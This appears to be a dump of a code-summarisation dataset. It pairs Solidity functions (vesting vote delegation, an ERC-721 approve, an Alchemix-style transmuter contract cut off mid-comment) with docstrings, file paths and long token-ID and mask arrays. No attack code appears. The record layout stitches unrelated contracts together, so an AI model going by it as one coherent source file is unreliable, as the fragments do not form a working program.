uint256 _availableVotes ) internal { uint96 newAlreadyClaimedVotes; if (_availableVotes > 0) { uint96 amount = safe96(_availableVotes, "Vesting::_claimVotes: Amount overflow"); // member.alreadyClaimed += amount newAlreadyClaimedVotes = add96( _member.alreadyClaimedVotes, amount, "Vesting::claimVotes: newAlreadyClaimed overflow" ); members[_memberAddress].alreadyClaimedVotes = newAlreadyClaimedVotes; } else { newAlreadyClaimedVotes = _member.alreadyClaimedVotes; } // Step #1. Get the accrued votes value // lastMemberAdjustedVotes = claimedVotesBeforeTx - claimedTokensBeforeTx uint96 lastMemberAdjustedVotes = sub96( _member.alreadyClaimedVotes, _member.alreadyClaimedTokens, "Vesting::_claimVotes: lastMemberAdjustedVotes overflow" ); // Step #2. Get the adjusted value in relation to the member itself. // `adjustedVotes = votesAfterTx - claimedTokensBeforeTheCalculation` // `claimedTokensBeforeTheCalculation` could be updated earlier in claimVotes() method in the same tx uint96 adjustedVotes = sub96( newAlreadyClaimedVotes, members[_memberAddress].alreadyClaimedTokens, "Vesting::_claimVotes: adjustedVotes underflow" ); address delegate = getVoteUser(_memberAddress); uint96 diff; // Step #3. Apply the adjusted value in relation to the delegate if (adjustedVotes > lastMemberAdjustedVotes) { diff = sub96(adjustedVotes, lastMemberAdjustedVotes, "Vesting::_claimVotes: Positive diff underflow"); _addDelegatedVotesCache(delegate, diff); } else if (lastMemberAdjustedVotes > adjustedVotes) { diff = sub96(lastMemberAdjustedVotes, adjustedVotes, "Vesting::_claimVotes: Negative diff underflow"); _subDelegatedVotesCache(delegate, diff); } emit ClaimVotes( _memberAddress, delegate, _member.alreadyClaimedVotes, _member.alreadyClaimedTokens, newAlreadyClaimedVotes, members[_memberAddress].alreadyClaimedTokens, lastMemberAdjustedVotes, adjustedVotes, diff ); } /** * @notice An active member claims a distributed amount of ERC20 tokens * @param _to address to claim ERC20 tokens to */ function claimTokens(address _to) external { Member memory member = members[msg.sender]; require(member.active == true, "Vesting::claimTokens: User not active"); uint256 durationT_ = getLoadedMemberDurationT(member); uint256 bigAmount = getAvailableTokens(member.alreadyClaimedTokens, durationT_); require(bigAmount > 0, "Vesting::claimTokens: Nothing to claim"); uint96 amount = safe96(bigAmount, "Vesting::claimTokens: Amount overflow"); // member.alreadyClaimed += amount uint96 newAlreadyClaimed = add96(member.alreadyClaimedTokens, amount, "Vesting::claimTokens: NewAlreadyClaimed overflow"); members[msg.sender].alreadyClaimedTokens = newAlreadyClaimed; uint256 endT_ = startT.add(durationT_); uint256 votes = getAvailableVotes({ _alreadyClaimed: member.alreadyClaimedVotes, _memberEndT: endT_ }); if (block.timestamp <= endT) { _claimVotes(msg.sender, member, votes); } emit ClaimTokens(msg.sender, _to, amount, newAlreadyClaimed, votes); require(IERC20(token).transfer(_to, bigAmount), "ERC20::transfer: failed"); } /** * @notice Delegates an already claimed votes amount to the given address * @param _to address to delegate votes */ function delegateVotes(address _to) external { Member memory member = members[msg.sender]; require(_to != address(0), "Vesting::delegateVotes: Can't delegate to 0 address"); require(member.active == true, "Vesting::delegateVotes: msg.sender not active"); address currentDelegate = getVoteUser(msg.sender); require(_to != currentDelegate, "Vesting::delegateVotes: Already delegated to this address"); voteDelegations[msg.sender] = _to; uint96 adjustedVotes = sub96(member.alreadyClaimedVotes, member.alreadyClaimedTokens, "Vesting::claimVotes: AdjustedVotes underflow"); _subDelegatedVotesCache(currentDelegate, adjustedVotes); _addDelegatedVotesCache(_to, adjustedVotes); emit DelegateVotes(msg.sender, _to, currentDelegate, adjustedVotes); } /** * @notice Transfers a vested rights for a member funds to another address * @dev A new member won't have any votes for a period between a start timestamp and a current timestamp * @param _to address to transfer a vested right to */ function transfer(address _to) external { Member memory from = members[msg.sender]; Member memory to = members[_to]; uint96 alreadyClaimedTokens = from.alreadyClaimedTokens; uint96 alreadyClaimedVotes = from.alreadyClaimedVotes; uint32 personalDurationT = from.personalDurationT; require(from.active == true, "Vesting::transfer: From member is inactive"); require(to.active == false, "Vesting::transfer: To address is already active"); require(to.transferred == false, "Vesting::transfer: To address has been already used"); require(numCheckpoints[_to] == 0, "Vesting::transfer: To address already had a checkpoint"); members[msg.sender] = Member({ active: false, transferred: true, alreadyClaimedVotes: 0, alreadyClaimedTokens: 0, personalDurationT: 0 }); members[_to] = Member({ active: true, transferred: false, alreadyClaimedVotes: alreadyClaimedVotes, alreadyClaimedTokens: alreadyClaimedTokens, personalDurationT: personalDurationT }); address currentDelegate = voteDelegations[msg.sender]; uint32 currentBlockNumber = safe32(block.number, "Vesting::transfer: Block number exceeds 32 bits"); checkpoints[_to][0] = Checkpoint(uint32(0), 0); if (currentDelegate == address(0)) { uint96 adjustedVotes = sub96(from.alreadyClaimedVotes, from.alreadyClaimedTokens, "Vesting::claimVotes: AdjustedVotes underflow"); _subDelegatedVotesCache(msg.sender, adjustedVotes); checkpoints[_to][1] = Checkpoint(currentBlockNumber, adjustedVotes); numCheckpoints[_to] = 2; } else { numCheckpoints[_to] = 1; } voteDelegations[_to] = voteDelegations[msg.sender]; delete voteDelegations[msg.sender]; Member memory toMember = members[_to]; emit Transfer(msg.sender, _to, alreadyClaimedVotes, alreadyClaimedTokens, currentDelegate); uint256 votes = getAvailableVotes({ _alreadyClaimed: toMember.alreadyClaimedVotes, _memberEndT: getLoadedMemberEndT(toMember) }); _claimVotes(_to, toMember, votes); } function _subDelegatedVotesCache(address _member, uint96 _subAmount) internal { uint32 dstRepNum = numCheckpoints[_member]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[_member][dstRepNum - 1].votes : 0; uint96 dstRepNew = sub96(dstRepOld, _subAmount, "Vesting::_cacheUnclaimed: Sub amount overflows"); _writeCheckpoint(_member, dstRepNum, dstRepOld, dstRepNew); } function _addDelegatedVotesCache(address _member, uint96 _addAmount) internal { uint32 dstRepNum = numCheckpoints[_member]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[_member][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, _addAmount, "Vesting::_cacheUnclaimed: Add amount overflows"); _writeCheckpoint(_member, dstRepNum, dstRepOld, dstRepNew); } /// @dev A copy from CVP token, only the event name changed function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32(block.number, "Vesting::_writeCheckpoint: Block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit UnclaimedBalanceChanged(delegatee, oldVotes, newVotes); } /// @dev The exact copy from CVP token function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @dev The exact copy from CVP token function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } /// @dev The exact copy from CVP token function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } /// @dev The exact copy from CVP token function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } }
* @notice Delegates an already claimed votes amount to the given address @param _to address to delegate votes/
function delegateVotes(address _to) external { Member memory member = members[msg.sender]; require(_to != address(0), "Vesting::delegateVotes: Can't delegate to 0 address"); require(member.active == true, "Vesting::delegateVotes: msg.sender not active"); address currentDelegate = getVoteUser(msg.sender); require(_to != currentDelegate, "Vesting::delegateVotes: Already delegated to this address"); voteDelegations[msg.sender] = _to; uint96 adjustedVotes = sub96(member.alreadyClaimedVotes, member.alreadyClaimedTokens, "Vesting::claimVotes: AdjustedVotes underflow"); _subDelegatedVotesCache(currentDelegate, adjustedVotes); _addDelegatedVotesCache(_to, adjustedVotes); emit DelegateVotes(msg.sender, _to, currentDelegate, adjustedVotes); }
6,428,140
[ 1, 15608, 815, 392, 1818, 7516, 329, 19588, 3844, 358, 326, 864, 1758, 225, 389, 869, 1758, 358, 7152, 19588, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7152, 29637, 12, 2867, 389, 869, 13, 3903, 288, 203, 565, 8596, 3778, 3140, 273, 4833, 63, 3576, 18, 15330, 15533, 203, 565, 2583, 24899, 869, 480, 1758, 12, 20, 3631, 315, 58, 10100, 2866, 22216, 29637, 30, 4480, 1404, 7152, 358, 374, 1758, 8863, 203, 565, 2583, 12, 5990, 18, 3535, 422, 638, 16, 315, 58, 10100, 2866, 22216, 29637, 30, 1234, 18, 15330, 486, 2695, 8863, 203, 203, 565, 1758, 783, 9586, 273, 11031, 1168, 1299, 12, 3576, 18, 15330, 1769, 203, 565, 2583, 24899, 869, 480, 783, 9586, 16, 315, 58, 10100, 2866, 22216, 29637, 30, 17009, 30055, 358, 333, 1758, 8863, 203, 203, 565, 12501, 15608, 1012, 63, 3576, 18, 15330, 65, 273, 389, 869, 31, 203, 565, 2254, 10525, 13940, 29637, 273, 203, 1377, 720, 10525, 12, 5990, 18, 17583, 9762, 329, 29637, 16, 3140, 18, 17583, 9762, 329, 5157, 16, 315, 58, 10100, 2866, 14784, 29637, 30, 17720, 329, 29637, 3613, 2426, 8863, 203, 203, 565, 389, 1717, 15608, 690, 29637, 1649, 12, 2972, 9586, 16, 13940, 29637, 1769, 203, 565, 389, 1289, 15608, 690, 29637, 1649, 24899, 869, 16, 13940, 29637, 1769, 203, 203, 565, 3626, 27687, 29637, 12, 3576, 18, 15330, 16, 389, 869, 16, 783, 9586, 16, 13940, 29637, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x52Af063278C6489a9deF8b27615Fa813797cDed1/sources/browser/AsyncArt.sol
* @dev Approves another address to transfer the given token ID The zero address indicates there is no approved address. There can only be one approved address per token at a given time. Can only be called by the token owner or an approved operator. @param to address to be approved for the given token ID @param tokenId uint256 ID of the token to be approved/
function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); }
722,064
[ 1, 12053, 3324, 4042, 1758, 358, 7412, 326, 864, 1147, 1599, 1021, 3634, 1758, 8527, 1915, 353, 1158, 20412, 1758, 18, 6149, 848, 1338, 506, 1245, 20412, 1758, 1534, 1147, 622, 279, 864, 813, 18, 4480, 1338, 506, 2566, 635, 326, 1147, 3410, 578, 392, 20412, 3726, 18, 225, 358, 1758, 358, 506, 20412, 364, 326, 864, 1147, 1599, 225, 1147, 548, 2254, 5034, 1599, 434, 326, 1147, 358, 506, 20412, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6617, 537, 12, 2867, 358, 16, 2254, 5034, 1147, 548, 13, 1071, 288, 203, 3639, 1758, 3410, 273, 3410, 951, 12, 2316, 548, 1769, 203, 3639, 2583, 12, 869, 480, 3410, 1769, 203, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 747, 353, 31639, 1290, 1595, 12, 8443, 16, 1234, 18, 15330, 10019, 203, 203, 3639, 389, 2316, 12053, 4524, 63, 2316, 548, 65, 273, 358, 31, 203, 3639, 3626, 1716, 685, 1125, 12, 8443, 16, 358, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./interfaces/IERC20Burnable.sol"; import {YearnVaultAdapterWithIndirection} from "./adapters/YearnVaultAdapterWithIndirection.sol"; import {VaultWithIndirection} from "./libraries/alchemist/VaultWithIndirection.sol"; import {ITransmuter} from "./interfaces/ITransmuter.sol"; import {IWETH9} from "./interfaces/IWETH9.sol"; // ___ __ __ _ ___ __ _ // / _ | / / ____ / / ___ __ _ (_) __ __ / _ \ ____ ___ ___ ___ ___ / /_ ___ (_) // / __ | / / / __/ / _ \/ -_) / ' \ / / \ \ / / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _ // /_/ |_|/_/ \__/ /_//_/\__/ /_/_/_//_/ /_\_\ /_/ /_/ \__/ /___/\__/ /_//_/\__/ /___/(_) // // .___________..______ ___ .__ __. _______..___ ___. __ __ .___________. _______ .______ // | || _ \ / \ | \ | | / || \/ | | | | | | || ____|| _ \ // `---| |----`| |_) | / ^ \ | \| | | (----`| \ / | | | | | `---| |----`| |__ | |_) | // | | | / / /_\ \ | . ` | \ \ | |\/| | | | | | | | | __| | / // | | | |\ \----. / _____ \ | |\ | .----) | | | | | | `--' | | | | |____ | |\ \----. // |__| | _| `._____|/__/ \__\ |__| \__| |_______/ |__| |__| \______/ |__| |_______|| _| `._____| /** * @dev Implementation of the {IERC20Burnable} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20Burnable-approve}. */ contract TransmuterEth is Context { using SafeMath for uint256; using SafeERC20 for IERC20Burnable; using Address for address; using VaultWithIndirection for VaultWithIndirection.Data; using VaultWithIndirection for VaultWithIndirection.List; address public constant ZERO_ADDRESS = address(0); uint256 public transmutationPeriod; address public alToken; address public token; mapping(address => uint256) public depositedAlTokens; mapping(address => uint256) public tokensInBucket; mapping(address => uint256) public realisedTokens; mapping(address => uint256) public lastDividendPoints; mapping(address => bool) public userIsKnown; mapping(uint256 => address) public userList; uint256 public nextUser; uint256 public totalSupplyAltokens; uint256 public buffer; uint256 public lastDepositBlock; ///@dev values needed to calculate the distribution of base asset in proportion for alTokens staked uint256 public pointMultiplier = 10e18; uint256 public totalDividendPoints; uint256 public unclaimedDividends; /// @dev alchemist addresses whitelisted mapping (address => bool) public whiteList; /// @dev addresses whitelisted to run keepr jobs (harvest) mapping (address => bool) public keepers; /// @dev The threshold above which excess funds will be deployed to yield farming activities uint256 public plantableThreshold = 50000000000000000000; // 50 ETH /// @dev The % margin to trigger planting or recalling of funds uint256 public plantableMargin = 5; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; /// @dev The address of the pending governance. address public pendingGovernance; /// @dev The address of the account which can perform emergency activities address public sentinel; /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall /// from the active vault. bool public pause; /// @dev The address of the contract which will receive fees. address public rewards; /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added mapping(YearnVaultAdapterWithIndirection => bool) public adapters; /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for /// deposits and withdraws. VaultWithIndirections before the last element are considered inactive and are expected to be cleared. VaultWithIndirection.List private _vaults; /// @dev make sure the contract is only initialized once. bool public initialized; /// @dev mapping of user account to the last block they acted mapping(address => uint256) public lastUserAction; /// @dev number of blocks to delay between allowed user actions uint256 public minUserActionDelay; event GovernanceUpdated( address governance ); event PendingGovernanceUpdated( address pendingGovernance ); event SentinelUpdated( address sentinel ); event TransmuterPeriodUpdated( uint256 newTransmutationPeriod ); event TokenClaimed( address claimant, address token, uint256 amountClaimed ); event AlUsdStaked( address staker, uint256 amountStaked ); event AlUsdUnstaked( address staker, uint256 amountUnstaked ); event Transmutation( address transmutedTo, uint256 amountTransmuted ); event ForcedTransmutation( address transmutedBy, address transmutedTo, uint256 amountTransmuted ); event Distribution( address origin, uint256 amount ); event WhitelistSet( address whitelisted, bool state ); event KeepersSet( address[] keepers, bool[] states ); event PlantableThresholdUpdated( uint256 plantableThreshold ); event PlantableMarginUpdated( uint256 plantableMargin ); event MinUserActionDelayUpdated( uint256 minUserActionDelay ); event ActiveVaultUpdated( YearnVaultAdapterWithIndirection indexed adapter ); event PauseUpdated( bool status ); event FundsRecalled( uint256 indexed vaultId, uint256 withdrawnAmount, uint256 decreasedValue ); event FundsHarvested( uint256 withdrawnAmount, uint256 decreasedValue ); event RewardsUpdated( address treasury ); event MigrationComplete( address migrateTo, uint256 fundsMigrated ); constructor(address _alToken, address _token, address _governance) public { require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov"); governance = _governance; alToken = _alToken; token = _token; transmutationPeriod = 500000; minUserActionDelay = 1; pause = true; } ///@return displays the user's share of the pooled alTokens. function dividendsOwing(address account) public view returns (uint256) { uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]); return depositedAlTokens[account].mul(newDividendPoints).div(pointMultiplier); } /// @dev Checks that caller is not a eoa. /// /// This is used to prevent contracts from interacting. modifier noContractAllowed() { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "no contract calls"); _; } ///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if (owing > 0) { unclaimedDividends = unclaimedDividends.sub(owing); tokensInBucket[account] = tokensInBucket[account].add(owing); } lastDividendPoints[account] = totalDividendPoints; _; } ///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled modifier checkIfNewUser() { if (!userIsKnown[msg.sender]) { userList[nextUser] = msg.sender; userIsKnown[msg.sender] = true; nextUser++; } _; } ///@dev run the phased distribution of the buffered funds modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; // check if there is something in bufffer if (_buffer > 0) { // NOTE: if last deposit was updated in the same block as the current call // then the below logic gates will fail //calculate diffrence in time uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); // distribute all if bigger than timeframe if(deltaTime >= transmutationPeriod) { _toDistribute = _buffer; } else { //needs to be bigger than 0 cuzz solidity no decimals if(_buffer.mul(deltaTime) > transmutationPeriod) { _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod); } } // factually allocate if any needs distribution if(_toDistribute > 0){ // remove from buffer buffer = _buffer.sub(_toDistribute); // increase the allocation increaseAllocations(_toDistribute); } } // current timeframe is now the last lastDepositBlock = _currentBlock; _; } /// @dev A modifier which checks if whitelisted for minting. modifier onlyWhitelisted() { require(whiteList[msg.sender], "Transmuter: !whitelisted"); _; } /// @dev A modifier which checks if caller is a keepr. modifier onlyKeeper() { require(keepers[msg.sender], "Transmuter: !keeper"); _; } /// @dev Checks that the current message sender or caller is the governance address. /// /// modifier onlyGov() { require(msg.sender == governance, "Transmuter: !governance"); _; } /// @dev checks that the block delay since a user's last action is longer than the minium delay /// modifier ensureUserActionDelay() { require(block.number.sub(lastUserAction[msg.sender]) >= minUserActionDelay, "action delay not met"); lastUserAction[msg.sender] = block.number; _; } ///@dev set the transmutationPeriod variable /// /// sets the length (in blocks) of one full distribution phase function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov() { transmutationPeriod = newTransmutationPeriod; emit TransmuterPeriodUpdated(transmutationPeriod); } ///@dev claims the base token after it has been transmuted /// ///This function reverts if there is no realisedToken balance function claim(bool asEth) public noContractAllowed() { address sender = msg.sender; require(realisedTokens[sender] > 0); uint256 value = realisedTokens[sender]; realisedTokens[sender] = 0; ensureSufficientFundsExistLocally(value); if (asEth) { IWETH9(token).withdraw(value); payable(sender).transfer(value); } else { IERC20Burnable(token).safeTransfer(sender, value); } emit TokenClaimed(sender, token, value); } ///@dev Withdraws staked alTokens from the transmuter /// /// This function reverts if you try to draw more tokens than you deposited /// ///@param amount the amount of alTokens to unstake function unstake(uint256 amount) public noContractAllowed() updateAccount(msg.sender) { // by calling this function before transmuting you forfeit your gained allocation address sender = msg.sender; require(depositedAlTokens[sender] >= amount,"Transmuter: unstake amount exceeds deposited amount"); depositedAlTokens[sender] = depositedAlTokens[sender].sub(amount); totalSupplyAltokens = totalSupplyAltokens.sub(amount); IERC20Burnable(alToken).safeTransfer(sender, amount); emit AlUsdUnstaked(sender, amount); } ///@dev Deposits alTokens into the transmuter /// ///@param amount the amount of alTokens to stake function stake(uint256 amount) public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) checkIfNewUser() { require(!pause, "emergency pause enabled"); // requires approval of AlToken first address sender = msg.sender; //require tokens transferred in; IERC20Burnable(alToken).safeTransferFrom(sender, address(this), amount); totalSupplyAltokens = totalSupplyAltokens.add(amount); depositedAlTokens[sender] = depositedAlTokens[sender].add(amount); emit AlUsdStaked(sender, amount); } /// @dev Converts the staked alTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket /// /// once the alToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim() /// /// reverts if there are no pendingdivs or tokensInBucket function transmute() public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) { address sender = msg.sender; uint256 pendingz = tokensInBucket[sender]; uint256 diff; require(pendingz > 0, "need to have pending in bucket"); tokensInBucket[sender] = 0; // check bucket overflow if (pendingz > depositedAlTokens[sender]) { diff = pendingz.sub(depositedAlTokens[sender]); // remove overflow pendingz = depositedAlTokens[sender]; } // decrease altokens depositedAlTokens[sender] = depositedAlTokens[sender].sub(pendingz); // BURN ALTOKENS IERC20Burnable(alToken).burn(pendingz); // adjust total totalSupplyAltokens = totalSupplyAltokens.sub(pendingz); // reallocate overflow increaseAllocations(diff); // add payout realisedTokens[sender] = realisedTokens[sender].add(pendingz); emit Transmutation(sender, pendingz); } /// @dev Executes transmute() on another account that has had more base tokens allocated to it than alTokens staked. /// /// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action /// /// This function reverts if the address to transmute is not over-filled. /// /// @param toTransmute address of the account you will force transmute. function forceTransmute(address toTransmute) public noContractAllowed() ensureUserActionDelay() runPhasedDistribution() updateAccount(msg.sender) updateAccount(toTransmute) checkIfNewUser() { //load into memory uint256 pendingz = tokensInBucket[toTransmute]; // check restrictions require( pendingz > depositedAlTokens[toTransmute], "Transmuter: !overflow" ); // empty bucket tokensInBucket[toTransmute] = 0; // calculaate diffrence uint256 diff = pendingz.sub(depositedAlTokens[toTransmute]); // remove overflow pendingz = depositedAlTokens[toTransmute]; // decrease altokens depositedAlTokens[toTransmute] = 0; // BURN ALTOKENS IERC20Burnable(alToken).burn(pendingz); // adjust total totalSupplyAltokens = totalSupplyAltokens.sub(pendingz); // reallocate overflow tokensInBucket[msg.sender] = tokensInBucket[msg.sender].add(diff); // add payout realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz); uint256 value = realisedTokens[toTransmute]; ensureSufficientFundsExistLocally(value); // force payout of realised tokens of the toTransmute address realisedTokens[toTransmute] = 0; IWETH9(token).withdraw(value); payable(toTransmute).transfer(value); emit ForcedTransmutation(msg.sender, toTransmute, value); } /// @dev Transmutes and unstakes all alTokens /// /// This function combines the transmute and unstake functions for ease of use function exit() public noContractAllowed() { transmute(); uint256 toWithdraw = depositedAlTokens[msg.sender]; unstake(toWithdraw); } /// @dev Transmutes and claims all converted base tokens. /// /// This function combines the transmute and claim functions while leaving your remaining alTokens staked. function transmuteAndClaim(bool asEth) public noContractAllowed() { transmute(); claim(asEth); } /// @dev Transmutes, claims base tokens, and withdraws alTokens. /// /// This function helps users to exit the transmuter contract completely after converting their alTokens to the base pair. function transmuteClaimAndWithdraw(bool asEth) public noContractAllowed() { transmute(); claim(asEth); uint256 toWithdraw = depositedAlTokens[msg.sender]; unstake(toWithdraw); } /// @dev Distributes the base token proportionally to all alToken stakers. /// /// This function is meant to be called by the Alchemist contract for when it is sending yield to the transmuter. /// Anyone can call this and add funds, idk why they would do that though... /// /// @param origin the account that is sending the tokens to be distributed. /// @param amount the amount of base tokens to be distributed to the transmuter. function distribute(address origin, uint256 amount) public onlyWhitelisted() runPhasedDistribution() { require(!pause, "emergency pause enabled"); IERC20Burnable(token).safeTransferFrom(origin, address(this), amount); buffer = buffer.add(amount); _plantOrRecallExcessFunds(); emit Distribution(origin, amount); } /// @dev Allocates the incoming yield proportionally to all alToken stakers. /// /// @param amount the amount of base tokens to be distributed in the transmuter. function increaseAllocations(uint256 amount) internal { if(totalSupplyAltokens > 0 && amount > 0) { totalDividendPoints = totalDividendPoints.add( amount.mul(pointMultiplier).div(totalSupplyAltokens) ); unclaimedDividends = unclaimedDividends.add(amount); } else { buffer = buffer.add(amount); } } /// @dev Gets the status of a user's staking position. /// /// The total amount allocated to a user is the sum of pendingdivs and inbucket. /// /// @param user the address of the user you wish to query. /// /// returns user status function userInfo(address user) public view returns ( uint256 depositedAl, uint256 pendingdivs, uint256 inbucket, uint256 realised ) { uint256 _depositedAl = depositedAlTokens[user]; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens); uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user)); uint256 _realised = realisedTokens[user]; return (_depositedAl, _pendingdivs, _inbucket, _realised); } /// @dev Gets the status of multiple users in 